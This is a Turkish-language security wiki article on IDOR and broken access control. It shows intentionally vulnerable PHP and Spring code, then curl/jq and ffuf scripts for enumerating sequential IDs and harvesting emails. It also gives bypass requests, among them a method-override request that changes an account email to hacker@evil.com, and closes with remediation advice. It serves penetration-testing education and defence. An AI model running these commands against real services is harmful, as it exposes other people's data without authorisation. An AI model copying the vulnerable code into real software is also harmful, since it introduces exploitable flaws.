IDOR & Broken Access Control
> Yazar: Yaren Daşpınar
IDOR, modern web mimarilerinde en sık rastlanan ve etkisi en yıkıcı olan Access Control (Erişim Kontrolü) zafiyetlerinden biridir. Red Team operasyonlarında "mantık hatası" (Business Logic Flaw) kategorisinde değerlendirilir; çünkü bu zafiyet genellikle otomatik tarayıcılar (DAST) tarafından tespit edilemez. Temelinde, uygulamanın kullanıcıdan gelen girdiyi (ID, dosya adı, anahtar) kullanarak bir nesneye (veritabanı kaydı, dosya, sistem kaynağı) doğrudan erişim sağlaması ve bu erişim sırasında "Bu kullanıcı bu nesneye erişmeye yetkili mi?" kontrolünü yapmaması yatar.
Modern API odaklı mimarilerde bu zafiyet BOLA (Broken Object Level Authorization) olarak da adlandırılır ve OWASP Top 10 listesinde "Broken Access Control" kategorisinin lokomotifidir.
How It Works (Teknik Analiz)
IDOR'un kök nedeni, uygulama geliştiricilerinin Authentication (Kimlik Doğrulama) ile Authorization (Yetkilendirme) arasındaki farkı karıştırmasıdır. Uygulama, kullanıcının kimliğini doğrular (Authentication) ancak işlem yapmak istediği nesne üzerindeki mülkiyetini veya yetkisini (Authorization) kontrol etmez.
Saldırı vektörü genellikle üç bileşenden oluşur:
- Direct Object Reference: Veritabanı ID'si (
1001), UUID, dosya adı (invoice_01.pdf) gibi nesneyi işaret eden bir belirteç. - User-Supplied Input: Bu belirtecin URL, Body, Header veya Cookie içinde kullanıcı tarafından değiştirilebilir olması.
- Lack of Server-Side Validation: Sunucunun, isteği gönderen kullanıcının oturum bilgisiyle (session) istenen nesnenin mülkiyetini karşılaştırmaması.
Vulnerable Code Patterns
Aşağıdaki PHP örneğinde, veritabanından kullanıcı bilgisi çekilirken sadece gelen id parametresine güvenildiği görülmektedir:
// ZAFİYETLİ KOD (PHP)
$user_id = $_GET['id']; // Kullanıcıdan gelen kontrolsüz girdi
$query = "SELECT username, email, address FROM users WHERE id = $user_id";
$result = $db->query($query);
// Sunucu sadece kullanıcının giriş yapıp yapmadığını kontrol ediyor olabilir:
if ($session->is_logged_in()) {
$data = $result->fetch_assoc();
echo json_encode($data);
}
// HATA: 'id' parametresi ile '$session->user_id' karşılaştırılmadı!
Aşağıdaki Java/Spring örneğinde ise benzer bir mantık hatası görülmektedir:
// ZAFİYETLİ KOD (JAVA/SPRING)
@GetMapping("/api/invoices/{invoiceId}")
public ResponseEntity<Invoice> getInvoice(@PathVariable Long invoiceId) {
// Sadece ID'ye göre sorgu yapılıyor
Invoice invoice = invoiceRepository.findById(invoiceId);
if (invoice != null) {
return ResponseEntity.ok(invoice);
}
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
}
// HATA: Mevcut session'daki kullanıcı ID'si, faturanın 'owner_id' alanı ile eşleşiyor mu? Kontrol yok.
Detection & Enumeration (Keşif ve Analiz)
IDOR keşfi, uygulamanın veri akışını anlamakla başlar. Manuel testlerde Burp Repeater ve Intruder vazgeçilmezdir.
Keşif Metodolojisi
- Parametre Analizi: URL yollarını (
/api/v1/user/101), sorgu parametrelerini (?account=992) ve JSON body içeriklerini ({"order_id": 505}) inceleyin. - Tahmin Edilebilirlik Testi: ID'ler ardışıl mı (
1, 2, 3)? Eğer ardışıl iseseqkomutu veya Intruder ile tarama yapılabilir. - UUID/GUID Sızıntıları: Eğer ID'ler karmaşık ise, bu ID'lerin uygulamanın başka yerlerinde (Public profiller, yorumlar, kaynak kod) sızdırılıp sızdırılmadığını kontrol edin.
- Metot Değiştirme:
GETile erişilemeyen bir nesneyePUT,PATCHveyaDELETEmetotlarıyla erişmeyi deneyin.
Keşif Payloadları
| Parametre Tipi | Örnek Değişim | Beklenen Tepki |
|---|---|---|
| Numeric ID | id=123 -> id=124 |
200 OK + Başka Veri |
| Filename | file=report_1.pdf -> file=report_2.pdf |
Dosya İndirme |
| Hashed ID | id=c4ca42... (MD5 of 1) |
MD5(2) Denemesi |
| UUID | /user/<UUID_1> -> /user/<UUID_2> |
Yetkisiz Erişim |
Attack Vectors & Exploitation (İstismar Vektörleri)
Horizontal Privilege Escalation (Yatay Yetki Yükseltme)
Aynı yetki seviyesindeki bir kullanıcının, başka bir kullanıcının verilerine erişmesidir.
- Örnek: Bir bankacılık uygulamasında
user_A'nın?account_id=500değerini501yaparakuser_B'nin bakiyesini görmesi.
Vertical Privilege Escalation (Dikey Yetki Yükseltme)
Düşük yetkili bir kullanıcının, IDOR kullanarak yönetici (admin) seviyesindeki nesnelere veya fonksiyonlara erişmesidir.
- Örnek:
/api/users/meyerine/api/users/1(genellikle admin) isteği atarak yönetici bilgilerini çekmek veya/admin/delete_user?id=10endpoint'ine normal kullanıcı session'ı ile istek atmak.
Insecure Direct Reference to Static Files
Hassas verilerin (chat logları, faturalar, yedekler) sunucuda statik dosya olarak saklanması ve bu dosyaların isimlerinin tahmin edilebilir olmasıdır.
- Senaryo:
https://target.com/transcripts/1001.txtadresindeki1001değerini1000,999yaparak eski konuşmaları indirmek.
IDOR in Redirects (Data Leakage)
Bazen uygulama yetkisiz erişimi fark eder ve kullanıcıyı ana sayfaya yönlendirir (302 Redirect). Ancak, yönlendirme yanıtının Body kısmında veriyi göndermeye devam edebilir.
- Exploit: Burp Suite ile gelen 302 yanıtının gövdesini inceleyerek gizlenmiş API anahtarlarını veya kişisel verileri yakalamak.
Payloads & Advanced Commands
Automated Enumeration (curl & jq)
Ardışıl ID'leri hızlıca taramak ve sadece içindeki e-posta adreslerini ayıklamak için:
for id in $(seq 64185700 64185800); do
curl -s -X GET "https://api.target.com/v1/leads/$id" \
-H "Authorization: Bearer $JWT_TOKEN" | \
jq -r '. | select(.email != null) | "Hit ID: \(.id) - Email: \(.email)"'
done
Advanced Fuzzing (ffuf)
Predictable download endpoint'lerini taramak için:
ffuf -u http://target.com/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=your_session" \
-w <(seq 0 5000) \
-fr "File Not Found" \
-o results.json
Authenticated Combinatorial Enumeration
Çoklu parametre alan (örn: chat threadleri) endpoint'leri fuzzing:
ffuf -u 'http://target/api/chat?user1=NUM1&user2=NUM2' \
-w <(seq 1 100):NUM1 -w <(seq 1 100):NUM2 \
-H 'Cookie: session=xyz' -ac
Bypass & Obfuscation (Atlatma Teknikleri)
Parameter Pollution (HPP)
Bazı WAF'lar veya backend katmanları ilk veya son parametreyi kontrol ederken diğerini işleme alabilir.
GET /api/account?id=my_id&id=victim_id HTTP/1.1
HTTP Method Tunneling
Eğer PUT engellenmişse, header üzerinden metot değiştirerek bypass denenebilir:
POST /api/user/101 HTTP/1.1
X-HTTP-Method-Override: PUT
Content-Type: application/json
{"email": "hacker@evil.com"}
Extension & Path Traversal Combo
API kısıtlamalarını aşmak için uzantı ekleme veya path manipülasyonu:
/api/user/101.json/api/user/101.xml/api/user/v2/../../user/101
Decoding Bearer Tokens
Wristband veya QR kod gibi hex-encoded/base64-encoded verilerde:
import requests
# Hex-encoded "C-285-100" -> 432d3238352d313030
payload = "C-285-101".encode("utf-8").hex()
r = requests.get(f"https://api.cloud.net/data?id={payload}")
print(r.json())
Remediation & Prevention (Önleme ve Savunma)
- Object-Level Authorization: Her istekte, oturum açmış kullanıcının (
session.user_id) talep edilen nesne (object.owner_id) üzerinde yetkisi olup olmadığı veritabanı seviyesinde kontrol edilmelidir. - Indirect Object References: Veritabanı ID'leri yerine karmaşık, tahmin edilemez ve kısa ömürlü referanslar kullanın.
- Örn:
id=101yerineid=MS1hYmYtMTI=(Base64/Encrypted/Mapping).
- Örn:
- Use UUIDv4: Ardışıl tam sayılar yerine yüksek entropili UUID'ler tercih edilmelidir.
- Deny by Default: Yetkilendirme şeması "varsayılan olarak reddet" (deny by default) prensibine dayanmalıdır.
- Centralized Access Control: Yetkilendirme kontrolleri her endpoint'te ayrı ayrı değil, merkezi bir Middleware veya Interceptor katmanında yapılmalıdır.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp Authorize | Otomatik yetkilendirme testi | Check "Intercept" in Authorize Tab |
| ffuf | Hızlı ID/Parametre fuzzing | ffuf -u URL?id=FUZZ -w wordlist |
| AutoRepeater | İstekleri farklı sessionlarla tekrarla | Configure rules to swap Cookies |
| IDOR Detector | Burp eklentisi - ID tespiti | Analyze traffic for numeric IDs |
| jq | JSON çıktılarını işleme ve filtreleme | `cat res.json |
Yazar: Yaren Daşpınar · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv